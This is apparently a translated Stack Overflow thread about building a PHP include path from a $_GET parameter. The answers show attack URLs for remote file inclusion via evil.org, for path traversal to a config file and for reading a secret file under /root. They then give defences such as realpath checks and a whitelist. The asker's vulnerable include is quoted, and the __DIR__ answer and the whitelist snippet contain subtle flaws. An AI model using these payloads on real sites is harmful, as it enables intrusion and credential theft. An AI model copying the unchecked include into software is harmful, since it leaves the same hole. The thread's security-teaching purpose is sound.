如何使文件名包括变量取决于$_GET php


How to make filename include variable depending on $_GET php

要在文件中包含php代码,我们可以:

    <html>
    <body>

    <h1>Welcome to my home page!</h1>
    <p>Some text.</p>
   <?php include 'body.php'; ?>    
    </body>
    </html>

现在我想包含一个文件,名称将在url中传递,因此,例如,我将dc做www.site.com/file.php?name_of_file_to_include=body在文件中加载body.php:

<html>
<body>
<h1>Welcome to my home page!</h1>
<p>Some text.</p>
<? 
$file=$_GET["name_of_file_to_include"];
include $file.'.php'; 
?>
</body>
</html>

这是可能的还是做这件事是更好的选择?这样做的目的是因为我将只更改文件的一部分,但有很多文件我想加载

这当然是可能的。我会确保$_GET["name_of_file_to_include"] **不包含远程url。否则,您的脚本很容易受到远程脚本注入的攻击。

假设攻击者准备了如下url:

index.php?name_of_the_file_to_include=http://evil.org/my

在他的服务器上,他存储了一个名为my.php的文件:

foreach(get_defined_vars() as $var) {
    var_dump($var);
}

此脚本将直接在应用程序的上下文中运行,并将允许查看您的db配置等。

因此,确保在包含之前至少添加一个路径,以防止表单远程脚本注入。这样的:

include './' . $file.'.php';

然而,这是不够安全的,因为攻击者仍然能够执行已经在您的系统上的代码。可能是php文件,否则会受到限制。所以你应该确保路径是你的content文件夹

// realpath will remove all '/..' from path:
$path = realpath('./sites/' . $_GET['file_to_include'] . '.php');
// if the file does not exists realpath returns false
if(!$path) {
    die('error');
}
// check if the path starts exactly with your site path
if(strpos($path, realpath('./sites')) !== 0) {
    die('error');
}
// we are safe now:
include $path;

你可以完全像你展示的那样做…但是你不应该

include将包含所有内容并解析PHP并显示其他所有内容,这使得任何人都可以在您的系统上访问web服务器上的任何内容。

想象一下,如果你有一个database_config.ini在webroot外(你把它放在那里,所以网上没有人可以看到你的数据库密码是什么)

我可以插入http://www.yoursite.com/file.php?name_of_file_to_include=../database_config.ini,现在我知道如何访问您的数据库。

解决这个问题的一个更好的方法是创建一个页面白名单并包含文件

 $pages = array(
     "body"="body.php",
     "aboutme"=>"aboutme.php"
 );

,然后使用:

 $page = $_GET["name_of_file_to_include"];
 if (array_key_exists($page, $pages)){
     include ($pages[$page]);
 } 

是的!但是一定要使用

指定基本路径。
__DIR__
这样

:

    //Include the requested file
    $file = __DIR__ . $_GET['file_name'] . ".php";
    if(file_exists($file ))
        include($file);

这是可能的,但会打开一个巨大的安全漏洞。

想象一下,如果有人请求www.site.com/file.php?name_of_file_to_include=/root/secret_password_file(假设您将secret_password_file.php中的重要数据存储在/root中)。

听起来你想要某种形式的模板系统。有很多方法可以实现这一点,有些方法比其他方法更复杂。也许对你来说最简单的方法是忘记包含页面内容;相反,可以考虑在内容页中包含页眉和页脚。

想象header.php看起来像:

<html>
<body>
<h1>Welcome to my home page!</h1>
<p>Some text.</p>

footer.php看起来像:

</body>
</html>

现在您可以将它们都包含到每个内容页中。例如,body.php可能看起来像:

<?php
include 'header.php';
<div>
... content here ...
</div>
include 'footer.php';

这可以达到同样的效果,而不允许随机的web用户从您的服务器请求任何文件。

正如我在评论中所说的,我会用相反的方式来做。将头信息放在一个文件中,并将其包含到所有页面中。我是怎么做的(以及所有模板师是怎么做的)很简单:

有一个header.php存储在您的服务器的某个地方,其中包含所有的头,不包括</head>标签。通过这种方式,您可以将该文件包含到任何页面中,同时还可以添加链接关系和脚本。例如,这将是index.php或类似的东西。

<?PHP
    include("folder/header.php");
?>
<!-- ADD ADDITIONAL SCRIPTS AND STYLES HERE -->
<!-- END ADDITIONAL STUFF -->
<title></title>
</head>
<body>
<!-- YOUR CONTENT HERE -->
</body>
</html>

这样,您就有相同格式的部分(如您的头或任何其他部分),URL将是类似www.domain.com/index.php或www.domain.com/page.php的东西。您还避免了"获取"文件的安全风险